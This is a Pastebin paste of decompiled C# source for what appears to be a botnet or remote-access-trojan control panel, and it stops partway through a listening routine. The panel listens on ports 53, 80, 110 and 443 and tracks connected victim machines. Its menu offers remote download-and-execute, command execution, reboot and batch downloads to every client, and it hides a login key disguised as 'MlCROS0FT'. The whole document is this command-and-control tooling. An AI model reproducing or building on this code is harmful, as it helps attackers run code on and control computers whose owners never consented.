Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using Microsoft.VisualBasic;
- using Microsoft.VisualBasic.CompilerServices;
- using System;
- using System.Collections;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Diagnostics;
- using System.Drawing;
- using System.IO;
- using System.Net;
- using System.Net.Sockets;
- using System.Runtime.CompilerServices;
- using System.Text;
- using System.Threading;
- using System.Windows.Forms;
- namespace Control
- {
- [DesignerGenerated]
- public class Form1 : Form
- {
- [CompilerGenerated]
- internal class _Closure$__1
- {
- public Button $VB$Local_VB$t_ref$S1;
- [DebuggerStepThrough, CompilerGenerated]
- public void _Lambda$__4(object a0, EventArgs a1)
- {
- this.$VB$Local_VB$t_ref$S1.PerformClick();
- }
- }
- private IContainer components;
- [AccessedThroughProperty("ListView1")]
- private ListView _ListView1;
- [AccessedThroughProperty("IP")]
- private ColumnHeader _IP;
- [AccessedThroughProperty("Status")]
- private ColumnHeader _Status;
- [AccessedThroughProperty("OnlineTime")]
- private ColumnHeader _OnlineTime;
- [AccessedThroughProperty("SvrPort")]
- private ColumnHeader _SvrPort;
- [AccessedThroughProperty("PortBN")]
- private Button _PortBN;
- [AccessedThroughProperty("PortText")]
- private TextBox _PortText;
- [AccessedThroughProperty("RichTextBox1")]
- private RichTextBox _RichTextBox1;
- [AccessedThroughProperty("Button1")]
- private Button _Button1;
- [AccessedThroughProperty("LoginKey")]
- private TextBox _LoginKey;
- [AccessedThroughProperty("DelOffline")]
- private CheckBox _DelOffline;
- [AccessedThroughProperty("ContextMenuStrip1")]
- private ContextMenuStrip _ContextMenuStrip1;
- [AccessedThroughProperty("RebootToolStripMenuItem")]
- private ToolStripMenuItem _RebootToolStripMenuItem;
- [AccessedThroughProperty("DeleteRowsToolStripMenuItem")]
- private ToolStripMenuItem _DeleteRowsToolStripMenuItem;
- [AccessedThroughProperty("ToolStripSeparator1")]
- private ToolStripSeparator _ToolStripSeparator1;
- [AccessedThroughProperty("ShellToolStripMenuItem")]
- private ToolStripMenuItem _ShellToolStripMenuItem;
- [AccessedThroughProperty("ColumnHeader1")]
- private ColumnHeader _ColumnHeader1;
- [AccessedThroughProperty("Timer1")]
- private System.Windows.Forms.Timer _Timer1;
- [AccessedThroughProperty("ColumnHeader2")]
- private ColumnHeader _ColumnHeader2;
- [AccessedThroughProperty("ExecCmdToolStripMenuItem")]
- private ToolStripMenuItem _ExecCmdToolStripMenuItem;
- [AccessedThroughProperty("Button2")]
- private Button _Button2;
- [AccessedThroughProperty("ToolStripSeparator2")]
- private ToolStripSeparator _ToolStripSeparator2;
- [AccessedThroughProperty("KillWebListToolStripMenuItem")]
- private ToolStripMenuItem _KillWebListToolStripMenuItem;
- [AccessedThroughProperty("CheckRunListToolStripMenuItem")]
- private ToolStripMenuItem _CheckRunListToolStripMenuItem;
- [AccessedThroughProperty("ToolStripSeparator3")]
- private ToolStripSeparator _ToolStripSeparator3;
- [AccessedThroughProperty("DISRUNToolStripMenuItem")]
- private ToolStripMenuItem _DISRUNToolStripMenuItem;
- [AccessedThroughProperty("EnRUNLISTToolStripMenuItem")]
- private ToolStripMenuItem _EnRUNLISTToolStripMenuItem;
- [AccessedThroughProperty("CheckBox1")]
- private CheckBox _CheckBox1;
- [AccessedThroughProperty("CheckBox2")]
- private CheckBox _CheckBox2;
- private Socket Sock;
- private Thread ReceiveThread;
- private int Listmode;
- private string key;
- private bool Disdown;
- private Thread[] dataThread;
- private int ListStatus;
- private Dictionary<string, Thread> ClientThread;
- private Dictionary<string, Socket> ClientSockets;
- private Dictionary<string, IPEndPoint> ClietnIP;
- private Dictionary<string, bool> ClientAuth;
- private object[] Listener;
- private int OnlineNum;
- private int OfflineNum;
- private string AppPath;
- private int $STATIC$PortBN_Click$20211C1261$Status;
- private Thread $STATIC$Listen$20118$Listh;
- internal virtual ListView ListView1
- {
- get
- {
- return this._ListView1;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- MouseEventHandler value2 = new MouseEventHandler(this.ListView1_MouseUp);
- if (this._ListView1 != null)
- {
- this._ListView1.MouseUp -= value2;
- }
- this._ListView1 = value;
- if (this._ListView1 != null)
- {
- this._ListView1.MouseUp += value2;
- }
- }
- }
- internal virtual ColumnHeader IP
- {
- get
- {
- return this._IP;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._IP = value;
- }
- }
- internal virtual ColumnHeader Status
- {
- get
- {
- return this._Status;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._Status = value;
- }
- }
- internal virtual ColumnHeader OnlineTime
- {
- get
- {
- return this._OnlineTime;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._OnlineTime = value;
- }
- }
- internal virtual ColumnHeader SvrPort
- {
- get
- {
- return this._SvrPort;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._SvrPort = value;
- }
- }
- internal virtual Button PortBN
- {
- get
- {
- return this._PortBN;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.PortBN_Click);
- if (this._PortBN != null)
- {
- this._PortBN.Click -= value2;
- }
- this._PortBN = value;
- if (this._PortBN != null)
- {
- this._PortBN.Click += value2;
- }
- }
- }
- internal virtual TextBox PortText
- {
- get
- {
- return this._PortText;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- KeyPressEventHandler value2 = new KeyPressEventHandler(this.PortText_KeyPress);
- EventHandler value3 = new EventHandler(this.PortText_Enter);
- if (this._PortText != null)
- {
- this._PortText.KeyPress -= value2;
- this._PortText.Enter -= value3;
- }
- this._PortText = value;
- if (this._PortText != null)
- {
- this._PortText.KeyPress += value2;
- this._PortText.Enter += value3;
- }
- }
- }
- internal virtual RichTextBox RichTextBox1
- {
- get
- {
- return this._RichTextBox1;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._RichTextBox1 = value;
- }
- }
- internal virtual Button Button1
- {
- get
- {
- return this._Button1;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.Button1_Click);
- if (this._Button1 != null)
- {
- this._Button1.Click -= value2;
- }
- this._Button1 = value;
- if (this._Button1 != null)
- {
- this._Button1.Click += value2;
- }
- }
- }
- internal virtual TextBox LoginKey
- {
- get
- {
- return this._LoginKey;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._LoginKey = value;
- }
- }
- internal virtual CheckBox DelOffline
- {
- get
- {
- return this._DelOffline;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._DelOffline = value;
- }
- }
- internal virtual ContextMenuStrip ContextMenuStrip1
- {
- get
- {
- return this._ContextMenuStrip1;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._ContextMenuStrip1 = value;
- }
- }
- internal virtual ToolStripMenuItem RebootToolStripMenuItem
- {
- get
- {
- return this._RebootToolStripMenuItem;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.RebootToolStripMenuItem_Click);
- if (this._RebootToolStripMenuItem != null)
- {
- this._RebootToolStripMenuItem.Click -= value2;
- }
- this._RebootToolStripMenuItem = value;
- if (this._RebootToolStripMenuItem != null)
- {
- this._RebootToolStripMenuItem.Click += value2;
- }
- }
- }
- internal virtual ToolStripMenuItem DeleteRowsToolStripMenuItem
- {
- get
- {
- return this._DeleteRowsToolStripMenuItem;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.DeleteRowsToolStripMenuItem_Click);
- if (this._DeleteRowsToolStripMenuItem != null)
- {
- this._DeleteRowsToolStripMenuItem.Click -= value2;
- }
- this._DeleteRowsToolStripMenuItem = value;
- if (this._DeleteRowsToolStripMenuItem != null)
- {
- this._DeleteRowsToolStripMenuItem.Click += value2;
- }
- }
- }
- internal virtual ToolStripSeparator ToolStripSeparator1
- {
- get
- {
- return this._ToolStripSeparator1;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._ToolStripSeparator1 = value;
- }
- }
- internal virtual ToolStripMenuItem ShellToolStripMenuItem
- {
- get
- {
- return this._ShellToolStripMenuItem;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.ShellToolStripMenuItem_Click);
- if (this._ShellToolStripMenuItem != null)
- {
- this._ShellToolStripMenuItem.Click -= value2;
- }
- this._ShellToolStripMenuItem = value;
- if (this._ShellToolStripMenuItem != null)
- {
- this._ShellToolStripMenuItem.Click += value2;
- }
- }
- }
- internal virtual ColumnHeader ColumnHeader1
- {
- get
- {
- return this._ColumnHeader1;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._ColumnHeader1 = value;
- }
- }
- internal virtual System.Windows.Forms.Timer Timer1
- {
- get
- {
- return this._Timer1;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.Timer1_Tick);
- if (this._Timer1 != null)
- {
- this._Timer1.Tick -= value2;
- }
- this._Timer1 = value;
- if (this._Timer1 != null)
- {
- this._Timer1.Tick += value2;
- }
- }
- }
- internal virtual ColumnHeader ColumnHeader2
- {
- get
- {
- return this._ColumnHeader2;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._ColumnHeader2 = value;
- }
- }
- internal virtual ToolStripMenuItem ExecCmdToolStripMenuItem
- {
- get
- {
- return this._ExecCmdToolStripMenuItem;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.ExecCmdToolStripMenuItem_Click);
- if (this._ExecCmdToolStripMenuItem != null)
- {
- this._ExecCmdToolStripMenuItem.Click -= value2;
- }
- this._ExecCmdToolStripMenuItem = value;
- if (this._ExecCmdToolStripMenuItem != null)
- {
- this._ExecCmdToolStripMenuItem.Click += value2;
- }
- }
- }
- internal virtual Button Button2
- {
- get
- {
- return this._Button2;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.Button2_Click);
- if (this._Button2 != null)
- {
- this._Button2.Click -= value2;
- }
- this._Button2 = value;
- if (this._Button2 != null)
- {
- this._Button2.Click += value2;
- }
- }
- }
- internal virtual ToolStripSeparator ToolStripSeparator2
- {
- get
- {
- return this._ToolStripSeparator2;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._ToolStripSeparator2 = value;
- }
- }
- internal virtual ToolStripMenuItem KillWebListToolStripMenuItem
- {
- get
- {
- return this._KillWebListToolStripMenuItem;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.KillWebListToolStripMenuItem_Click);
- if (this._KillWebListToolStripMenuItem != null)
- {
- this._KillWebListToolStripMenuItem.Click -= value2;
- }
- this._KillWebListToolStripMenuItem = value;
- if (this._KillWebListToolStripMenuItem != null)
- {
- this._KillWebListToolStripMenuItem.Click += value2;
- }
- }
- }
- internal virtual ToolStripMenuItem CheckRunListToolStripMenuItem
- {
- get
- {
- return this._CheckRunListToolStripMenuItem;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.CheckRunListToolStripMenuItem_Click);
- if (this._CheckRunListToolStripMenuItem != null)
- {
- this._CheckRunListToolStripMenuItem.Click -= value2;
- }
- this._CheckRunListToolStripMenuItem = value;
- if (this._CheckRunListToolStripMenuItem != null)
- {
- this._CheckRunListToolStripMenuItem.Click += value2;
- }
- }
- }
- internal virtual ToolStripSeparator ToolStripSeparator3
- {
- get
- {
- return this._ToolStripSeparator3;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._ToolStripSeparator3 = value;
- }
- }
- internal virtual ToolStripMenuItem DISRUNToolStripMenuItem
- {
- get
- {
- return this._DISRUNToolStripMenuItem;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.DISRUNToolStripMenuItem_Click);
- if (this._DISRUNToolStripMenuItem != null)
- {
- this._DISRUNToolStripMenuItem.Click -= value2;
- }
- this._DISRUNToolStripMenuItem = value;
- if (this._DISRUNToolStripMenuItem != null)
- {
- this._DISRUNToolStripMenuItem.Click += value2;
- }
- }
- }
- internal virtual ToolStripMenuItem EnRUNLISTToolStripMenuItem
- {
- get
- {
- return this._EnRUNLISTToolStripMenuItem;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.EnRUNLISTToolStripMenuItem_Click);
- if (this._EnRUNLISTToolStripMenuItem != null)
- {
- this._EnRUNLISTToolStripMenuItem.Click -= value2;
- }
- this._EnRUNLISTToolStripMenuItem = value;
- if (this._EnRUNLISTToolStripMenuItem != null)
- {
- this._EnRUNLISTToolStripMenuItem.Click += value2;
- }
- }
- }
- internal virtual CheckBox CheckBox1
- {
- get
- {
- return this._CheckBox1;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._CheckBox1 = value;
- }
- }
- internal virtual CheckBox CheckBox2
- {
- get
- {
- return this._CheckBox2;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._CheckBox2 = value;
- }
- }
- public Form1()
- {
- base.FormClosing += new FormClosingEventHandler(this.Form1_FormClosing);
- base.Load += new EventHandler(this.Form1_Load);
- this.ClientThread = new Dictionary<string, Thread>();
- this.ClientSockets = new Dictionary<string, Socket>();
- this.ClietnIP = new Dictionary<string, IPEndPoint>();
- this.ClientAuth = new Dictionary<string, bool>();
- this.AppPath = Application.ExecutablePath;
- this.InitializeComponent();
- }
- [DebuggerNonUserCode]
- protected override void Dispose(bool disposing)
- {
- try
- {
- if (disposing && this.components != null)
- {
- this.components.Dispose();
- }
- }
- finally
- {
- base.Dispose(disposing);
- }
- }
- [DebuggerStepThrough]
- private void InitializeComponent()
- {
- this.components = new Container();
- this.ListView1 = new ListView();
- this.IP = new ColumnHeader();
- this.Status = new ColumnHeader();
- this.OnlineTime = new ColumnHeader();
- this.ColumnHeader1 = new ColumnHeader();
- this.SvrPort = new ColumnHeader();
- this.ColumnHeader2 = new ColumnHeader();
- this.ContextMenuStrip1 = new ContextMenuStrip(this.components);
- this.RebootToolStripMenuItem = new ToolStripMenuItem();
- this.ToolStripSeparator1 = new ToolStripSeparator();
- this.ShellToolStripMenuItem = new ToolStripMenuItem();
- this.ExecCmdToolStripMenuItem = new ToolStripMenuItem();
- this.DeleteRowsToolStripMenuItem = new ToolStripMenuItem();
- this.ToolStripSeparator2 = new ToolStripSeparator();
- this.KillWebListToolStripMenuItem = new ToolStripMenuItem();
- this.CheckRunListToolStripMenuItem = new ToolStripMenuItem();
- this.ToolStripSeparator3 = new ToolStripSeparator();
- this.DISRUNToolStripMenuItem = new ToolStripMenuItem();
- this.EnRUNLISTToolStripMenuItem = new ToolStripMenuItem();
- this.PortBN = new Button();
- this.PortText = new TextBox();
- this.RichTextBox1 = new RichTextBox();
- this.Button1 = new Button();
- this.LoginKey = new TextBox();
- this.DelOffline = new CheckBox();
- this.Timer1 = new System.Windows.Forms.Timer(this.components);
- this.Button2 = new Button();
- this.CheckBox1 = new CheckBox();
- this.CheckBox2 = new CheckBox();
- this.ContextMenuStrip1.SuspendLayout();
- this.SuspendLayout();
- this.ListView1.AllowColumnReorder = true;
- this.ListView1.Anchor = (AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left);
- this.ListView1.BackColor = Color.FromArgb(224, 224, 224);
- this.ListView1.BorderStyle = BorderStyle.FixedSingle;
- this.ListView1.Columns.AddRange(new ColumnHeader[]
- {
- this.IP,
- this.Status,
- this.OnlineTime,
- this.ColumnHeader1,
- this.SvrPort,
- this.ColumnHeader2
- });
- this.ListView1.Font = new Font("微软雅黑", 9f, FontStyle.Regular, GraphicsUnit.Point, 134);
- this.ListView1.FullRowSelect = true;
- this.ListView1.GridLines = true;
- Control arg_241_0 = this.ListView1;
- Point location = new Point(0, 0);
- arg_241_0.Location = location;
- this.ListView1.Name = "ListView1";
- Control arg_26F_0 = this.ListView1;
- Size size = new Size(697, 235);
- arg_26F_0.Size = size;
- this.ListView1.Sorting = SortOrder.Ascending;
- this.ListView1.TabIndex = 0;
- this.ListView1.UseCompatibleStateImageBehavior = false;
- this.ListView1.View = View.Details;
- this.IP.Text = "IP";
- this.IP.Width = 150;
- this.Status.Text = "状态";
- this.Status.Width = 40;
- this.OnlineTime.Text = "上线时间";
- this.OnlineTime.Width = 130;
- this.ColumnHeader1.Text = "更新时间";
- this.ColumnHeader1.Width = 130;
- this.SvrPort.Text = "上线端口";
- this.ColumnHeader2.Text = "版本编译";
- this.ColumnHeader2.Width = 160;
- this.ContextMenuStrip1.Items.AddRange(new ToolStripItem[]
- {
- this.RebootToolStripMenuItem,
- this.ToolStripSeparator1,
- this.ShellToolStripMenuItem,
- this.ExecCmdToolStripMenuItem,
- this.DeleteRowsToolStripMenuItem,
- this.ToolStripSeparator2,
- this.KillWebListToolStripMenuItem,
- this.CheckRunListToolStripMenuItem,
- this.ToolStripSeparator3,
- this.DISRUNToolStripMenuItem,
- this.EnRUNLISTToolStripMenuItem
- });
- this.ContextMenuStrip1.Name = "ContextMenuStrip1";
- this.ContextMenuStrip1.RenderMode = ToolStripRenderMode.System;
- Control arg_411_0 = this.ContextMenuStrip1;
- size = new Size(157, 198);
- arg_411_0.Size = size;
- this.RebootToolStripMenuItem.Name = "RebootToolStripMenuItem";
- ToolStripItem arg_43C_0 = this.RebootToolStripMenuItem;
- size = new Size(156, 22);
- arg_43C_0.Size = size;
- this.RebootToolStripMenuItem.Text = "&Reboot";
- this.ToolStripSeparator1.Name = "ToolStripSeparator1";
- ToolStripItem arg_476_0 = this.ToolStripSeparator1;
- size = new Size(153, 6);
- arg_476_0.Size = size;
- this.ShellToolStripMenuItem.Name = "ShellToolStripMenuItem";
- ToolStripItem arg_4A1_0 = this.ShellToolStripMenuItem;
- size = new Size(156, 22);
- arg_4A1_0.Size = size;
- this.ShellToolStripMenuItem.Text = "&Down Exec";
- this.ExecCmdToolStripMenuItem.Name = "ExecCmdToolStripMenuItem";
- ToolStripItem arg_4DC_0 = this.ExecCmdToolStripMenuItem;
- size = new Size(156, 22);
- arg_4DC_0.Size = size;
- this.ExecCmdToolStripMenuItem.Text = "&Exec cmd";
- this.DeleteRowsToolStripMenuItem.Name = "DeleteRowsToolStripMenuItem";
- ToolStripItem arg_517_0 = this.DeleteRowsToolStripMenuItem;
- size = new Size(156, 22);
- arg_517_0.Size = size;
- this.DeleteRowsToolStripMenuItem.Text = "Delete Row&s";
- this.ToolStripSeparator2.Name = "ToolStripSeparator2";
- ToolStripItem arg_551_0 = this.ToolStripSeparator2;
- size = new Size(153, 6);
- arg_551_0.Size = size;
- this.KillWebListToolStripMenuItem.Name = "KillWebListToolStripMenuItem";
- ToolStripItem arg_57C_0 = this.KillWebListToolStripMenuItem;
- size = new Size(156, 22);
- arg_57C_0.Size = size;
- this.KillWebListToolStripMenuItem.Text = "&Kill List";
- this.CheckRunListToolStripMenuItem.Name = "CheckRunListToolStripMenuItem";
- ToolStripItem arg_5B7_0 = this.CheckRunListToolStripMenuItem;
- size = new Size(156, 22);
- arg_5B7_0.Size = size;
- this.CheckRunListToolStripMenuItem.Text = "&Check RunList";
- this.ToolStripSeparator3.Name = "ToolStripSeparator3";
- ToolStripItem arg_5F1_0 = this.ToolStripSeparator3;
- size = new Size(153, 6);
- arg_5F1_0.Size = size;
- this.DISRUNToolStripMenuItem.Name = "DISRUNToolStripMenuItem";
- ToolStripItem arg_61C_0 = this.DISRUNToolStripMenuItem;
- size = new Size(156, 22);
- arg_61C_0.Size = size;
- this.DISRUNToolStripMenuItem.Text = "禁用检查RUN";
- this.EnRUNLISTToolStripMenuItem.Name = "EnRUNLISTToolStripMenuItem";
- ToolStripItem arg_657_0 = this.EnRUNLISTToolStripMenuItem;
- size = new Size(156, 22);
- arg_657_0.Size = size;
- this.EnRUNLISTToolStripMenuItem.Text = "启动RUNLIST";
- this.PortBN.Anchor = (AnchorStyles.Bottom | AnchorStyles.Left);
- Control arg_690_0 = this.PortBN;
- location = new Point(153, 243);
- arg_690_0.Location = location;
- this.PortBN.Name = "PortBN";
- Control arg_6B8_0 = this.PortBN;
- size = new Size(75, 23);
- arg_6B8_0.Size = size;
- this.PortBN.TabIndex = 1;
- this.PortBN.Text = "Start";
- this.PortBN.UseVisualStyleBackColor = true;
- this.PortText.Anchor = (AnchorStyles.Bottom | AnchorStyles.Left);
- Control arg_706_0 = this.PortText;
- location = new Point(12, 243);
- arg_706_0.Location = location;
- this.PortText.MaxLength = 100;
- this.PortText.Name = "PortText";
- Control arg_73E_0 = this.PortText;
- size = new Size(135, 21);
- arg_73E_0.Size = size;
- this.PortText.TabIndex = 2;
- this.PortText.Text = "53,80,110,443";
- this.RichTextBox1.Anchor = (AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right);
- this.RichTextBox1.BackColor = Color.FromArgb(224, 224, 224);
- Control arg_79F_0 = this.RichTextBox1;
- location = new Point(703, 0);
- arg_79F_0.Location = location;
- this.RichTextBox1.Name = "RichTextBox1";
- Control arg_7CA_0 = this.RichTextBox1;
- size = new Size(72, 237);
- arg_7CA_0.Size = size;
- this.RichTextBox1.TabIndex = 4;
- this.RichTextBox1.Text = "";
- this.Button1.Anchor = (AnchorStyles.Bottom | AnchorStyles.Left);
- Control arg_80F_0 = this.Button1;
- location = new Point(474, 243);
- arg_80F_0.Location = location;
- this.Button1.Name = "Button1";
- Control arg_837_0 = this.Button1;
- size = new Size(82, 23);
- arg_837_0.Size = size;
- this.Button1.TabIndex = 6;
- this.Button1.Text = "保存列表";
- this.Button1.UseVisualStyleBackColor = true;
- this.LoginKey.Anchor = (AnchorStyles.Bottom | AnchorStyles.Left);
- Control arg_881_0 = this.LoginKey;
- location = new Point(35, 2);
- arg_881_0.Location = location;
- this.LoginKey.Name = "LoginKey";
- Control arg_8A9_0 = this.LoginKey;
- size = new Size(100, 21);
- arg_8A9_0.Size = size;
- this.LoginKey.TabIndex = 7;
- this.LoginKey.Text = "MlCROS0FT";
- this.LoginKey.Visible = false;
- this.DelOffline.Anchor = (AnchorStyles.Bottom | AnchorStyles.Left);
- this.DelOffline.AutoSize = true;
- this.DelOffline.Checked = true;
- this.DelOffline.CheckState = CheckState.Checked;
- Control arg_91E_0 = this.DelOffline;
- location = new Point(234, 247);
- arg_91E_0.Location = location;
- this.DelOffline.Name = "DelOffline";
- Control arg_946_0 = this.DelOffline;
- size = new Size(72, 16);
- arg_946_0.Size = size;
- this.DelOffline.TabIndex = 8;
- this.DelOffline.Text = "自删离线";
- this.DelOffline.UseVisualStyleBackColor = true;
- this.Timer1.Interval = 30000;
- this.Button2.Anchor = (AnchorStyles.Bottom | AnchorStyles.Left);
- Control arg_9A7_0 = this.Button2;
- location = new Point(562, 243);
- arg_9A7_0.Location = location;
- this.Button2.Name = "Button2";
- Control arg_9CF_0 = this.Button2;
- size = new Size(102, 23);
- arg_9CF_0.Size = size;
- this.Button2.TabIndex = 9;
- this.Button2.Text = "批量所有下载";
- this.Button2.UseVisualStyleBackColor = true;
- this.CheckBox1.Anchor = (AnchorStyles.Bottom | AnchorStyles.Left);
- this.CheckBox1.AutoSize = true;
- Control arg_A2D_0 = this.CheckBox1;
- location = new Point(312, 247);
- arg_A2D_0.Location = location;
- this.CheckBox1.Name = "CheckBox1";
- Control arg_A55_0 = this.CheckBox1;
- size = new Size(72, 16);
- arg_A55_0.Size = size;
- this.CheckBox1.TabIndex = 10;
- this.CheckBox1.Text = "禁止下载";
- this.CheckBox1.UseVisualStyleBackColor = true;
- this.CheckBox2.Anchor = (AnchorStyles.Bottom | AnchorStyles.Left);
- this.CheckBox2.AutoSize = true;
- Control arg_AB3_0 = this.CheckBox2;
- location = new Point(390, 247);
- arg_AB3_0.Location = location;
- this.CheckBox2.Name = "CheckBox2";
- Control arg_ADB_0 = this.CheckBox2;
- size = new Size(84, 16);
- arg_ADB_0.Size = size;
- this.CheckBox2.TabIndex = 11;
- this.CheckBox2.Text = "记录上线IP";
- this.CheckBox2.UseVisualStyleBackColor = true;
- SizeF autoScaleDimensions = new SizeF(6f, 12f);
- this.AutoScaleDimensions = autoScaleDimensions;
- this.AutoScaleMode = AutoScaleMode.Font;
- size = new Size(778, 276);
- this.ClientSize = size;
- this.Controls.Add(this.CheckBox1);
- this.Controls.Add(this.DelOffline);
- this.Controls.Add(this.CheckBox2);
- this.Controls.Add(this.PortText);
- this.Controls.Add(this.LoginKey);
- this.Controls.Add(this.PortBN);
- this.Controls.Add(this.Button2);
- this.Controls.Add(this.ListView1);
- this.Controls.Add(this.RichTextBox1);
- this.Controls.Add(this.Button1);
- this.Name = "Form1";
- this.StartPosition = FormStartPosition.CenterScreen;
- this.WindowState = FormWindowState.Maximized;
- this.ContextMenuStrip1.ResumeLayout(false);
- this.ResumeLayout(false);
- this.PerformLayout();
- }
- private void Form1_FormClosing(object sender, FormClosingEventArgs e)
- {
- try
- {
- this.Listen(0);
- }
- catch (Exception expr_09)
- {
- ProjectData.SetProjectError(expr_09);
- Exception ex = expr_09;
- Interaction.MsgBox(ex.Message, MsgBoxStyle.OkOnly, null);
- ProjectData.ClearProjectError();
- }
- }
- private void Form1_Load(object sender, EventArgs e)
- {
- this.Text = Application.ProductName + " " + Application.ProductVersion;
- this.AppPath = Strings.Mid(this.AppPath, 1, this.AppPath.LastIndexOf("\\"));
- this.PortBN.PerformClick();
- }
- private void PortText_Enter(object sender, EventArgs e)
- {
- this.PortText.SelectionStart = 0;
- this.PortText.SelectionLength = Strings.Len(this.PortText.Text);
- }
- private void PortText_KeyPress(object sender, KeyPressEventArgs e)
- {
- int num = Strings.Asc(e.KeyChar);
- if ((num < 48 | num > 59) & num != 8 & num != 13 & num != 44)
- {
- e.Handled = true;
- }
- if (num == 13)
- {
- this.PortBN.PerformClick();
- }
- }
- private void PortBN_Click(object sender, EventArgs e)
- {
- checked
- {
- try
- {
- if (this.$STATIC$PortBN_Click$20211C1261$Status == 0)
- {
- if (this.PortText.Text.IndexOf(",") != 0)
- {
- string[] array = this.PortText.Text.Split(new char[]
- {
- ','
- });
- for (int i = 0; i < array.Length; i++)
- {
- int num = Conversions.ToInteger(array[i]);
- if (!Versioned.IsNumeric(num))
- {
- Interaction.MsgBox("端口异常", MsgBoxStyle.Exclamation, null);
- return;
- }
- }
- }
- else if (Conversions.ToDouble(this.PortText.Text) < 1.0 | Conversions.ToDouble(this.PortText.Text) > 65535.0)
- {
- Interaction.MsgBox("端口异常", MsgBoxStyle.Exclamation, null);
- return;
- }
- this.$STATIC$PortBN_Click$20211C1261$Status = 1;
- this.ListStatus = 1;
- this.Disdown = this.CheckBox1.Checked;
- this.Listen(this.$STATIC$PortBN_Click$20211C1261$Status);
- this.PortBN.Text = "Stop";
- this.PortText.ReadOnly = true;
- this.Timer1.Enabled = true;
- }
- else
- {
- this.$STATIC$PortBN_Click$20211C1261$Status = 0;
- this.ListStatus = 0;
- this.Disdown = this.CheckBox1.Checked;
- this.Listen(this.$STATIC$PortBN_Click$20211C1261$Status);
- this.PortBN.Text = "Start";
- this.PortText.ReadOnly = false;
- this.Timer1.Enabled = false;
- this.ListView1.Items.Clear();
- this.RichTextBox1.Text = null;
- }
- }
- catch (Exception expr_195)
- {
- ProjectData.SetProjectError(expr_195);
- Exception ex = expr_195;
- if (this.$STATIC$PortBN_Click$20211C1261$Status != 0)
- {
- this.$STATIC$PortBN_Click$20211C1261$Status = 0;
- }
- else
- {
- this.$STATIC$PortBN_Click$20211C1261$Status = 1;
- }
- Interaction.MsgBox(ex.Message, MsgBoxStyle.OkOnly, null);
- ProjectData.ClearProjectError();
- }
- }
- }
- public void Listen(int Status)
- {
- int num2;
- int num3;
- try
- {
- IL_00:
- int num = 1;
- if (Status == 0)
- {
- goto IL_71;
- }
- IL_09:
- num = 2;
- this.key = this.LoginKey.Text;
- IL_1D:
- num = 3;
- string text = this.PortText.Text;
- IL_2C:
- num = 4;
- if (Operators.CompareString(text, "", false) == 0)
- {
- goto IL_214;
- }
- IL_41:
- num = 5;
- this.$STATIC$Listen$20118$Listh = new Thread(delegate(object a0)
- {
- this.Listcp(Conversions.ToString(a0));
- }, 0);
- IL_5D:
- num = 6;
- this.$STATIC$Listen$20118$Listh.Start(text);
- IL_6C:
- goto IL_301;
- IL_71:
- num = 9;
- IL_75:
- ProjectData.ClearProjectError();
- num2 = 1;
- IL_7D:
- num = 11;
- if (!this.$STATIC$Listen$20118$Listh.IsAlive)
- {
- goto IL_9D;
- }
- IL_8E:
- num = 12;
- this.$STATIC$Listen$20118$Listh.Abort();
- IL_9D:
- num = 14;
- this.ClientAuth.Clear();
- IL_AC:
- num = 15;
- this.ClietnIP.Clear();
- IL_BB:
- num = 16;
- if (this.PortText.Text.IndexOf(",") == 0)
- {
- goto IL_19A;
- }
- IL_DC:
- num = 17;
- Dictionary<string, Socket>.ValueCollection.Enumerator enumerator = this.ClientSockets.Values.GetEnumerator();
- while (enumerator.MoveNext())
- {
- Socket current = enumerator.Current;
- IL_FB:
- num = 18;
- current.Shutdown(SocketShutdown.Both);
- IL_106:
- num = 19;
- current.Close();
- IL_110:
- num = 20;
- }
- ((IDisposable)enumerator).Dispose();
- IL_12A:
- num = 21;
- Dictionary<string, Thread>.ValueCollection.Enumerator enumerator2 = this.ClientThread.Values.GetEnumerator();
- while (enumerator2.MoveNext())
- {
- Thread current2 = enumerator2.Current;
